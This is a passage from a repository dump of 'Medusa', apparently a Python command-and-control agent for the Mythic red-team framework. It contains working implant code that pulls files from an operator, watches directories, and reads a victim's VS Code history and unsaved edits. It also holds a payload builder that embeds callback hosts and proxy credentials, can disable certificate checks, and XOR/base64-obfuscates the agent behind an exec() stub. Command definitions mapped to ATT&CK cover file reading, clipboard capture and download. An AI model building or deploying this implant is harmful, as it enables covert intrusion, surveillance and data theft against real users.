else os.path.join(self.current_directory, remote_path)
with open(file_path, "wb") as f:
while chunk_num < total_chunks + 1:
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = {
"action": "post_response",
"responses": [
{
"upload": {
"chunk_size": CHUNK_SIZE,
"file_id": file,
"chunk_num": chunk_num,
"full_path": file_path
},
"task_id": task_id
}
]
}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
f.write(base64.b64decode(chunk["chunk_data"]))
================================================
FILE: Payload_Type/medusa/medusa/agent_code/vscode_list_recent.py
================================================
def vscode_list_recent(self, task_id, db=""):
import os, sqlite3, json
path = db if db else "/Users/{}/Library/Application Support/Code/User/globalStorage/state.vscdb".format(os.environ["USER"])
recent_files = []
if not os.path.exists(path):
return "VSCode State database path does not exist!"
with sqlite3.connect(path) as con:
for row in con.execute('SELECT * FROM "ItemTable" WHERE KEY = "history.recentlyOpenedPathsList"'):
data = json.loads(row[1])
for entry in data["entries"]:
recent_file = {}
if "folderUri" in entry:
recent_file["path"] = entry["folderUri"].replace("file://", "")
recent_file["type"] = "folder"
elif "fileUri" in entry:
recent_file["path"] = entry["fileUri"].replace("file://", "")
recent_file["type"] = "file"
recent_files.append(recent_file)
return json.dumps({ "recents": recent_files })
================================================
FILE: Payload_Type/medusa/medusa/agent_code/vscode_open_edits.py
================================================
def vscode_open_edits(self, task_id, backups_path=""):
import os, json
import time
path = backups_path if backups_path else "/Users/{}/Library/Application Support/Code/Backups".format(os.environ["USER"])
if not os.path.exists(path):
return "VSCode backups folder does not exist!"
open_edits = []
for root, dirs, files in os.walk(path):
for file in files:
if file != ".DS_Store" and file != "workspaces.json":
open_edit = {}
path = os.path.join(root, file)
with open(path, "r") as f:
file_content = f.readlines()
json_data = json.loads("{" + file_content[0].split("{")[1].rstrip())
if os.path.basename(root) == "untitled":
open_edit["backup"] = path
open_edit["original"] = file_content[0].split("{")[0].replace("untitled:","").rstrip()
open_edit["size"] = ""
open_edit["mtime"] = ""
open_edit["ctime"] = ""
open_edit["type"] = "New"
else:
open_edit["backup"] = path
open_edit["original"] = file_content[0].split("{")[0].replace("file://","").rstrip()
open_edit["size"] = f"{json_data['size']} B"
open_edit["mtime"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(json_data["mtime"]/1000))
open_edit["ctime"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(json_data["ctime"]/1000))
open_edit["type"] = "Edit"
open_edits.append(open_edit)
return json.dumps({ "edits" : open_edits })
================================================
FILE: Payload_Type/medusa/medusa/agent_code/vscode_watch_edits.py
================================================
def vscode_watch_edits(self, task_id, backups_path="", seconds=1):
import hashlib, time, os, json
known_files = {}
def getOriginalFileDetails(path):
with open(path, "r") as f:
file_content = f.readlines()
json_data = json.loads("{" + file_content[0].split("{")[1].rstrip())
return (
file_content[0].split("{")[0].replace("untitled:","").replace("file://","").rstrip(),
json_data["size"],
time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(json_data["mtime"]/1000))
)
def diffFolder(file_path, print_out=True):
for root, dirs, files in os.walk(file_path):
for dir in dirs:
full_dir_path = os.path.join(root, dir)
if full_dir_path not in known_files.keys():
if print_out: self.sendTaskOutputUpdate(task_id,"\n\n[*] New Directory: {}".format(full_dir_path) )
known_files[full_dir_path] = ""
for file in files:
full_file_path = os.path.join(root, file)
file_size = 0
try:
with open(full_file_path, "rb") as in_f:
file_data = in_f.read()
file_size = len(file_data)
except: continue
hash = hashlib.md5(file_data).hexdigest()
if full_file_path not in known_files.keys() and hash not in known_files.values():
if print_out:
original_file_path, size, modified_time = getOriginalFileDetails(full_file_path)
self.sendTaskOutputUpdate(task_id,"\n\n[*] New File: \n - Backup File: {} ({} bytes) \n - Original File: {} ({} bytes) - Last Modified: {}".format(
full_file_path, file_size, original_file_path, size, modified_time))
known_files[full_file_path] = hash
elif full_file_path in known_files.keys() and hash not in known_files.values():
if print_out:
original_file_path, size, modified_time = getOriginalFileDetails(full_file_path)
self.sendTaskOutputUpdate(task_id,"\n\n[*] File Updated: \n - Backup File: {} ({} bytes) \n - Original File: {} ({} bytes) - Last Modified: {}".format(
full_file_path, file_size, original_file_path, size, modified_time))
known_files[full_file_path] = hash
elif full_file_path not in known_files.keys() and hash in known_files.values():
orig_file = [f for f,h in known_files.items() if h == hash][0]
if os.path.exists(os.path.join(file_path, orig_file)):
if print_out: self.sendTaskOutputUpdate(task_id,"\n\n[*] Copied File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
else:
if print_out: self.sendTaskOutputUpdate(task_id,"\n\n[*] Moved File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
known_files.pop(orig_file)
known_files[full_file_path] = hash
for file in list(known_files):
if not os.path.isdir(os.path.dirname(file)):
for del_file in [f for f in list(known_files) if f.startswith(os.path.dirname(file))]:
obj_type = "Directory" if not known_files[del_file] else "File"
if file in list(known_files):
if print_out: self.sendTaskOutputUpdate(task_id,"\n\n[*] {} deleted: {} {}".format(obj_type, \
del_file, "({})".format(known_files[del_file]) if known_files[del_file] else ""))
known_files.pop(file)
else:
if os.path.basename(file) not in os.listdir(os.path.dirname(file)):
obj_type = "Directory" if not known_files[file] else "File"
if print_out: self.sendTaskOutputUpdate(task_id,"\n\n[*] {} Deleted: {} {}".format(obj_type, file, \
"({})".format(known_files[file]) if known_files[file] else ""))
known_files.pop(file)
path = backups_path if backups_path else "/Users/{}/Library/Application Support/Code/Backups".format(os.environ["USER"])
if not os.path.isdir(path):
return "[!] Path must be a valid directory"
elif not os.access(path, os.R_OK):
return "[!] Path not accessible"
else:
self.sendTaskOutputUpdate(task_id, "[*] Starting directory watch for {}".format(path))
diffFolder(path, False)
while(True):
if not os.path.exists(path):
return "[!] Root directory has been deleted."
diffFolder(path)
time.sleep(seconds)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/watch_dir.py
================================================
def watch_dir(self, task_id, path, seconds):
import hashlib
known_files = {}
def diffFolder(file_path, print_out=True):
for root, dirs, files in os.walk(file_path):
for dir in dirs:
full_dir_path = os.path.join(root, dir)
if full_dir_path not in known_files.keys():
if print_out: self.sendTaskOutputUpdate(task_id, "\n[*] New Directory: {}".format(full_dir_path) )
known_files[full_dir_path] = ""
for file in files:
full_file_path = os.path.join(root, file)
file_size = 0
try:
with open(full_file_path, "rb") as in_f:
file_data = in_f.read()
file_size = len(file_data)
except: continue
hash = hashlib.md5(file_data).hexdigest()
if full_file_path not in known_files.keys() and hash not in known_files.values():
if print_out: self.sendTaskOutputUpdate(task_id, "\n[*] New File: {} - {} bytes ({})".format(full_file_path, file_size, hash))
known_files[full_file_path] = hash
elif full_file_path in known_files.keys() and hash not in known_files.values():
if print_out: self.sendTaskOutputUpdate(task_id, "\n[*] File Updated: {} - {} bytes ({})".format(full_file_path, file_size, hash))
known_files[full_file_path] = hash
elif full_file_path not in known_files.keys() and hash in known_files.values():
orig_file = [f for f,h in known_files.items() if h == hash][0]
if os.path.exists(os.path.join(file_path, orig_file)):
if print_out: self.sendTaskOutputUpdate(task_id, "\n[*] Copied File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
else:
if print_out: self.sendTaskOutputUpdate(task_id, "\n[*] Moved File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
known_files.pop(orig_file)
known_files[full_file_path] = hash
for file in list(known_files):
if not os.path.isdir(os.path.dirname(file)):
for del_file in [f for f in list(known_files) if f.startswith(os.path.dirname(file))]:
obj_type = "Directory" if not known_files[del_file] else "File"
if file in list(known_files):
if print_out: self.sendTaskOutputUpdate(task_id, "\n[*] {} deleted: {} {}".format(obj_type, \
del_file, "({})".format(known_files[del_file]) if known_files[del_file] else ""))
known_files.pop(file)
else:
if os.path.basename(file) not in os.listdir(os.path.dirname(file)):
obj_type = "Directory" if not known_files[file] else "File"
if print_out: self.sendTaskOutputUpdate(task_id, "\n[*] {} deleted: {} {}".format(obj_type, file, \
"({})".format(known_files[file]) if known_files[file] else ""))
known_files.pop(file)
if path == ".": file_path = self.current_directory
else: file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)
if not os.path.isdir(file_path):
return "[!] Path must be a valid directory"
elif not os.access(file_path, os.R_OK):
return "[!] Path not accessible"
else:
self.sendTaskOutputUpdate(task_id, "[*] Starting directory watch for {}".format(path))
diffFolder(file_path, False)
while(True):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return "Job stopped."
if not os.path.exists(file_path):
return "[!] Root directory has been deleted."
diffFolder(file_path)
time.sleep(seconds)
================================================
FILE: Payload_Type/medusa/medusa/mythic/__init__.py
================================================
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/__init__.py
================================================
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/builder.py
================================================
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import asyncio, pathlib, os, tempfile, base64, hashlib, json, re
from itertools import cycle
class Medusa(PayloadType):
name = "medusa"
file_extension = "py"
author = "@ajpc500"
supported_os = [
SupportedOS.Windows, SupportedOS.Linux, SupportedOS.MacOS
]
wrapper = False
wrapped_payloads = ["pickle_wrapper"]
mythic_encrypts = True
note = "This payload uses Python to create a simple agent"
supports_dynamic_loading = True
c2_profiles = ["http", "azure_blob"]
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["py", "base64"],
default_value="py"
),
BuildParameter(
name="python_version",
parameter_type=BuildParameterType.ChooseOne,
description="Choose Python version",
choices=["Python 3.8", "Python 2.7"],
default_value="Python 3.8"
),
BuildParameter(
name="use_non_default_cryptography_lib",
parameter_type=BuildParameterType.ChooseOne,
description="Use non-default 'cryptography' Python library for comms (if not, manual crypto will be used)",
choices=["No", "Yes"],
default_value="No"
),
BuildParameter(
name="obfuscate_script",
parameter_type=BuildParameterType.ChooseOne,
description="XOR and Base64-encode agent code",
choices=["Yes", "No"],
default_value="Yes"
),
BuildParameter(
name="https_check",
parameter_type=BuildParameterType.ChooseOne,
description="Verify HTTPS certificate (if HTTP, leave yes)",
choices=["Yes", "No"],
default_value="Yes"
)
]
agent_path = pathlib.Path(".") / "medusa" / "mythic"
agent_icon_path = agent_path / "medusa.svg"
agent_code_path = pathlib.Path(".") / "medusa" / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Obfuscating Script", step_description="Encoding and encrypting script content")
]
translation_container = None
def getPythonVersionFile(self, directory, file):
pyv = self.get_parameter("python_version")
filename = ""
if os.path.exists(os.path.join(directory, "{}.py".format(file))):
#while we've specified a python version, this function is agnostic so just return the .py
filename = os.path.join(directory, "{}.py".format(file))
elif pyv == "Python 2.7":
filename = os.path.join(directory, "{}.py2".format(file))
elif pyv == "Python 3.8":
filename = os.path.join(directory, "{}.py3".format(file))
if not os.path.exists(filename) or not filename:
return ""
else:
return filename
def _read_file(self, path: str) -> str:
with open(path, "r") as f:
return f.read()
def _apply_https_setting(self, base_code: str, profile_name: str) -> str:
if self.get_parameter("https_check") != "No":
return base_code.replace("#CERTSKIP", "")
if profile_name == "azure_blob":
return base_code.replace(
"#CERTSKIP",
"""
gcontext = ssl.create_default_context()
gcontext.check_hostname = False
gcontext.verify_mode = ssl.CERT_NONE\n"""
)
return base_code.replace("urlopen(req)", "urlopen(req, context=gcontext)").replace(
"#CERTSKIP",
"""
gcontext = ssl.create_default_context()
gcontext.check_hostname = False
gcontext.verify_mode = ssl.CERT_NONE\n"""
)
def _parse_transport_template(self, template_code: str) -> dict:
parts = re.split(r"###\s*(IMPORTS|CLASS_FIELDS|FUNCTIONS|CONFIG)\s*###", template_code)
sections = {"IMPORTS": "", "CLASS_FIELDS": "", "FUNCTIONS": "", "CONFIG": ""}
for i in range(1, len(parts), 2):
section_name = parts[i].strip()
section_value = parts[i + 1]
sections[section_name] = section_value.strip("\n")
return sections
def _validate_transport_template_format(self, profile_name: str, template_code: str):
required = ["IMPORTS", "CLASS_FIELDS", "FUNCTIONS", "CONFIG"]
markers = re.findall(r"###\s*(IMPORTS|CLASS_FIELDS|FUNCTIONS|CONFIG)\s*###", template_code)
missing = [m for m in required if markers.count(m) == 0]
duplicates = [m for m in required if markers.count(m) > 1]
if missing or duplicates:
details = []
if missing:
details.append("missing markers: {}".format(", ".join(missing)))
if duplicates:
details.append("duplicate markers: {}".format(", ".join(duplicates)))
raise ValueError(
"Transport template transport_{} has invalid section markers ({})".format(
profile_name,
"; ".join(details)
)
)
def _validate_transport_sections(self, profile_name: str, sections: dict):
required_non_empty = ["FUNCTIONS", "CONFIG"]
missing = [s for s in required_non_empty if not sections.get(s, "").strip()]
if missing:
raise ValueError(
"Transport template transport_{} is missing required non-empty sections: {}".format(
profile_name,
", ".join(missing)
)
)
def _validate_core_markers_replaced(self, base_code: str, profile_name: str):
unresolved = [
marker for marker in [
"TRANSPORT_IMPORTS",
"TRANSPORT_CLASS_FIELDS",
"TRANSPORT_FUNCTIONS",
"TRANSPORT_CONFIG",
]
if marker in base_code
]
if unresolved:
raise ValueError(
"Core template marker replacement failed for transport_{}; unresolved markers: {}".format(
profile_name,
", ".join(unresolved)
)
)
def _get_base_code_for_profile(self, profile_name: str) -> str:
base_path = self.getPythonVersionFile(os.path.join(self.agent_code_path, "base_agent"), "base_agent_core")
transport_path = self.getPythonVersionFile(os.path.join(self.agent_code_path, "base_agent"), f"transport_{profile_name}")
if not base_path:
raise ValueError("Missing base_agent_core template for selected python version")
if not transport_path:
raise ValueError("Missing transport template for profile {} and selected python version".format(profile_name))
base_code = self._read_file(base_path)
transport_template = self._read_file(transport_path)
self._validate_transport_template_format(profile_name, transport_template)
transport_sections = self._parse_transport_template(transport_template)
self._validate_transport_sections(profile_name, transport_sections)
base_code = base_code.replace("TRANSPORT_IMPORTS", transport_sections["IMPORTS"])
base_code = base_code.replace("TRANSPORT_CLASS_FIELDS", transport_sections["CLASS_FIELDS"])
base_code = base_code.replace("TRANSPORT_FUNCTIONS", transport_sections["FUNCTIONS"])
base_code = base_code.replace("TRANSPORT_CONFIG", transport_sections["CONFIG"])
self._validate_core_markers_replaced(base_code, profile_name)
return base_code
def _to_python_literal(self, value):
if isinstance(value, str):
return value
return json.dumps(value).replace("false", "False").replace("true", "True").replace("null", "None")
def _apply_c2_parameter_replacements(self, base_code: str, c2):
params = c2.get_parameters_dict()
replacements = {
"callback_host": params.get("callback_host", ""),
"callback_port": params.get("callback_port", ""),
"post_uri": params.get("post_uri", ""),
"get_uri": params.get("get_uri", ""),
"query_path_name": params.get("query_path_name", ""),
"proxy_host": params.get("proxy_host", ""),
"proxy_user": params.get("proxy_user", ""),
"proxy_pass": params.get("proxy_pass", ""),
"proxy_port": params.get("proxy_port", ""),
"callback_interval": params.get("callback_interval", ""),
"callback_jitter": params.get("callback_jitter", ""),
"killdate": params.get("killdate", ""),
"AESPSK": params.get("AESPSK", {}),
"encrypted_exchange_check": params.get("encrypted_exchange_check", ""),
"HEADER_PLACEHOLDER": params.get("headers", {}),
}
for placeholder, value in replacements.items():
if placeholder in base_code:
base_code = base_code.replace(placeholder, self._to_python_literal(value))
return base_code
async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success)
# create the payload
build_msg = ""
try:
command_code = ""
for cmd in self.commands.get_commands():
command_path = self.getPythonVersionFile(self.agent_code_path, cmd)
if not command_path:
build_msg += "{} command not available for {}.\n".format(cmd, self.get_parameter("python_version"))
else:
command_code += self._read_file(command_path) + "\n"
selected_c2 = None
for c2 in self.c2info:
profile_name = c2.get_c2profile()["name"]
if profile_name in ["http", "azure_blob"]:
selected_c2 = c2
break
if selected_c2 is None:
build_msg += "No supported C2 profile selected for {}.\n".format(self.name)
resp.set_status(BuildStatus.Error)
resp.build_stderr = "Error building payload: " + build_msg
return resp
profile_name = selected_c2.get_c2profile()["name"]
base_code = self._get_base_code_for_profile(profile_name)
if profile_name == "azure_blob":
params = selected_c2.get_parameters_dict()
killdate = params.get("killdate", None)
callback_interval = str(params.get("callback_interval", "30"))
callback_jitter = str(params.get("callback_jitter", "10"))
config_data = await SendMythicRPCOtherServiceRPC(MythicRPCOtherServiceRPCMessage(
ServiceName="azure_blob",
ServiceRPCFunction="generate_config",
ServiceRPCFunctionArguments={
"killdate": killdate,
"payload_uuid": self.uuid
}
))
if not config_data.Success:
resp.status = BuildStatus.Error
resp.build_stderr = f"Build failed: {config_data.Error}"
return resp
await SendMythicRPCPayloadUpdatebuildStep(
MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Provisioning Azure Container",
StepStdout=f"Container provisioned with scoped SAS token\nEndpoint: {config_data.Result['blob_endpoint']}",
StepSuccess=True
)
)
await SendMythicRPCPayloadUpdatebuildStep(
MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Stamping Configuration",
StepStdout="Embedding Azure configuration into agent",
StepSuccess=True
)
)
base_code = base_code.replace("BLOB_ENDPOINT_PLACEHOLDER", config_data.Result["blob_endpoint"])
base_code = base_code.replace("CONTAINER_NAME_PLACEHOLDER", config_data.Result["container_name"])
base_code = base_code.replace("CONTAINER_SAS_PLACEHOLDER", config_data.Result["sas_token"])
base_code = base_code.replace("CALLBACK_INTERVAL_PLACEHOLDER", callback_interval)
base_code = base_code.replace("CALLBACK_JITTER_PLACEHOLDER", callback_jitter)
base_code = base_code.replace("AGENT_UUID_PLACEHOLDER", self.uuid)
base_code = self._apply_https_setting(base_code, profile_name)
if self.get_parameter("use_non_default_cryptography_lib") == "Yes":
crypto_code = self._read_file(self.getPythonVersionFile(os.path.join(self.agent_code_path, "base_agent"), "crypto_lib"))
else:
crypto_code = self._read_file(self.getPythonVersionFile(os.path.join(self.agent_code_path, "base_agent"), "manual_crypto"))
base_code = base_code.replace("CRYPTO_HERE", crypto_code)
base_code = base_code.replace("UUID_HERE", self.uuid)
base_code = base_code.replace("#COMMANDS_HERE", command_code)
base_code = self._apply_c2_parameter_replacements(base_code, selected_c2)
if build_msg != "":
resp.build_stderr = build_msg
resp.set_status(BuildStatus.Error)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
if self.get_parameter("obfuscate_script") == "Yes":
key = hashlib.md5(os.urandom(128)).hexdigest().encode()
encrypted_content = ''.join(chr(c^k) for c,k in zip(base_code.encode(), cycle(key))).encode()
b64_enc_content = base64.b64encode(encrypted_content)
xor_func = "chr(c^k)" if self.get_parameter("python_version") == "Python 3.8" else "chr(ord(c)^ord(k))"
base_code = """import base64, itertools
exec(''.join({} for c,k in zip(base64.b64decode({}), itertools.cycle({}))).encode())
""".format(xor_func, b64_enc_content, key)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Obfuscating Script",
StepStdout="Script successfully obfuscated.",
StepSuccess=True
))
else:
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Obfuscating Script",
StepStdout="Obfuscation not requested, skipping.",
StepSuccess=True
))
if self.get_parameter("output") == "base64":
resp.payload = base64.b64encode(base_code.encode())
resp.build_message = "Successfully Built"
else:
resp.payload = base_code.encode()
resp.build_message = "Successfully built!"
except Exception as e:
resp.set_status(BuildStatus.Error)
resp.build_stderr = "Error building payload: " + str(e)
return resp
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cat.py
================================================
from mythic_container.MythicCommandBase import *
import json
from mythic_container.MythicRPC import *
import sys
class CatArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="Read and output the content of a file",
)
]
async def parse_arguments(self):
if len(self.command_line) > 0:
if self.command_line[0] == "{":
self.load_args_from_json_string(self.command_line)
else:
self.add_arg("path", self.command_line)
else:
raise ValueError("Missing arguments")
class CdCommand(CommandBase):
cmd = "cat"
needs_admin = False
help_cmd = "cat /path/to/file"
description = "Read and output the contents of a file"
version = 1
author = "@ajpc500"
attackmapping = [ "T1005" ]
argument_class = CatArguments
attributes = CommandAttributes(
supported_python_versions=["Python 2.7", "Python 3.8"],
supported_os=[SupportedOS.MacOS, SupportedOS.Windows, SupportedOS.Linux ],
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("path")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cd.py
================================================
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import sys
class CdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
default_value=".",
description="Path of file or folder on the current system to cd to",
)
]
async def parse_arguments(self):
if len(self.command_line) > 0:
if self.command_line[0] == "{":
self.load_args_from_json_string(self.command_line)
else:
self.args["path"].value = self.command_line
else:
self.args["path"].value = "."
class CdCommand(CommandBase):
cmd = "cd"
needs_admin = False
help_cmd = "cd /path/to/file"
description = "Change working directory"
version = 1
author = "@ajpc500"
attackmapping = []
argument_class = CdArguments
attributes = CommandAttributes(
supported_python_versions=["Python 2.7", "Python 3.8"],
supported_os=[SupportedOS.MacOS, SupportedOS.Windows, SupportedOS.Linux ],
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("path")
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/clipboard.py
================================================
from mythic_container.MythicCommandBase import *
import json
from mythic_container.MythicRPC import *
class GetClipboardArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
class GetClipboardCommand(CommandBase):
cmd = "clipboard"
needs_admin = False
help_cmd = "clipboard"
description = "This reads and outputs the contents of the clipboard using ObjC APIs"
version = 1
is_exit = False
is_file_browse = False
is_process_list = False
is_download_file = False
is_remove_file = False
is_upload_file = False
author = "@ajpc500"
argument_class = GetClipboardArguments
attackmapping = [ "T1115" ]
attributes = CommandAttributes(
filter_by_build_parameter={
"python_version": "Python 2.7"
},
supported_python_versions=["Python 2.7"],
supported_os=[SupportedOS.MacOS],
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cp.py
================================================
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class CpArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="destination",
type=ParameterType.String,
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=2
)],
description="Location for copied file or folder",
),
CommandParameter(
name="source",
type=ParameterType.String,
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)],
description="Path to file or folder for copying",
)
]
async def parse_arguments(self):
if self.command_line[0] != "{":
pieces = self.command_line.split(" ")
if len(pieces) == 2:
self.add_arg("source", pieces[0])
self.add_arg("destination", pieces[1])
else:
raise Exception("Wrong number of parameters, should be 2")
else:
self.load_args_from_json_string(self.command_line)
class CpCommand(CommandBase):
cmd = "cp"
needs_admin = False
help_cmd = "cp source destination"
description = "copy file or folder to destination"
version = 1
author = "@ajpc500"
attackmapping = []
argument_class = CpArguments
attributes = CommandAttributes(
supported_python_versions=["Python 2.7", "Python 3.8"],
supported_os=[SupportedOS.MacOS, SupportedOS.Windows, SupportedOS.Linux ],
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = "Copying " + str(task.args.get_arg("source")) + " to "
task.display_params += str(task.args.get_arg("destination"))
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/cwd.py
================================================
from mythic_container.MythicCommandBase import *
import json
from mythic_container.MythicRPC import *
class GetCwdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
class GetCwdCommand(CommandBase):
cmd = "cwd"
needs_admin = False
help_cmd = "cwd"
description = "This gets the current working directory"
version = 1
is_exit = False
is_file_browse = False
is_process_list = False
is_download_file = False
is_remove_file = False
is_upload_file = False
author = "@ajpc500"
argument_class = GetCwdArguments
attackmapping = []
attributes = CommandAttributes(
supported_python_versions=["Python 2.7", "Python 3.8"],
supported_os=[SupportedOS.MacOS, SupportedOS.Windows, SupportedOS.Linux ],
)
async def create_tasking(self, task: MythicTask) -> MythicTask:
return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
================================================
FILE: Payload_Type/medusa/medusa/mythic/agent_functions/download.py
================================================
from mythic_container.MythicCommandBase import *
import json
from mythic_container.MythicRPC import *
class DownloadArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="file",
type=ParameterType.String,
description="File to download.",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise Exception("Require a path to download.\n\tUsage: {}".format(DownloadCommand.help_cmd))
filename = ""
if self.command_line[0] == '"' and self.command_line[-1] == '"':
self.command_line = self.command_line[1:-1]
filename = self.command_line
elif self.command_line[0] == "'" and self.command_line[-1] == "'":
self.command_line = self.command_line[1:-1]
filename = self.command_line
elif self.command_line[0] == "{":
gitextract_rqvfv1v_/
├── .github/
│ ├── scripts/
│ │ └── matrix-test-builder.py
│ └── workflows/
│ └── payload-build-matrix.yml
├── .gitignore
├── C2_Profiles/
│ └── .keep
├── Payload_Type/
│ └── medusa/
│ ├── Dockerfile
│ ├── main.py
│ ├── medusa/
│ │ ├── __init__.py
│ │ ├── agent_code/
│ │ │ ├── base_agent/
│ │ │ │ ├── base_agent_core.py2
│ │ │ │ ├── base_agent_core.py3
│ │ │ │ ├── crypto_lib.py2
│ │ │ │ ├── crypto_lib.py3
│ │ │ │ ├── manual_crypto.py2
│ │ │ │ ├── manual_crypto.py3
│ │ │ │ ├── transport_azure_blob.py2
│ │ │ │ ├── transport_azure_blob.py3
│ │ │ │ ├── transport_http.py2
│ │ │ │ └── transport_http.py3
│ │ │ ├── cat.py
│ │ │ ├── cd.py
│ │ │ ├── clipboard.py2
│ │ │ ├── cp.py
│ │ │ ├── cwd.py
│ │ │ ├── download.py
│ │ │ ├── download_bulk.py
│ │ │ ├── env.py
│ │ │ ├── eval_code.py
│ │ │ ├── exit.py
│ │ │ ├── jobkill.py
│ │ │ ├── jobs.py
│ │ │ ├── kill.py3
│ │ │ ├── list_apps.py2
│ │ │ ├── list_dlls.py3
│ │ │ ├── list_modules.py
│ │ │ ├── list_tcc.py
│ │ │ ├── load.py
│ │ │ ├── load_dll.py
│ │ │ ├── load_module.py2
│ │ │ ├── load_module.py3
│ │ │ ├── load_script.py
│ │ │ ├── ls.py2
│ │ │ ├── ls.py3
│ │ │ ├── mv.py
│ │ │ ├── pip_freeze.py
│ │ │ ├── ps.py2
│ │ │ ├── ps.py3
│ │ │ ├── ps_full.py3
│ │ │ ├── rm.py
│ │ │ ├── screenshot.py2
│ │ │ ├── shell.py
│ │ │ ├── shinject.py
│ │ │ ├── sleep.py
│ │ │ ├── socks.py2
│ │ │ ├── socks.py3
│ │ │ ├── spawn_jxa.py
│ │ │ ├── unload.py
│ │ │ ├── unload_module.py
│ │ │ ├── upload.py
│ │ │ ├── vscode_list_recent.py
│ │ │ ├── vscode_open_edits.py
│ │ │ ├── vscode_watch_edits.py
│ │ │ └── watch_dir.py
│ │ └── mythic/
│ │ ├── __init__.py
│ │ ├── agent_functions/
│ │ │ ├── __init__.py
│ │ │ ├── builder.py
│ │ │ ├── cat.py
│ │ │ ├── cd.py
│ │ │ ├── clipboard.py
│ │ │ ├── cp.py
│ │ │ ├── cwd.py
│ │ │ ├── download.py
│ │ │ ├── download_bulk.py
│ │ │ ├── env.py
│ │ │ ├── eval_code.py
│ │ │ ├── exit.py
│ │ │ ├── jobkill.py
│ │ │ ├── jobs.py
│ │ │ ├── kill.py
│ │ │ ├── list_apps.py
│ │ │ ├── list_dlls.py
│ │ │ ├── list_modules.py
│ │ │ ├── list_tcc.py
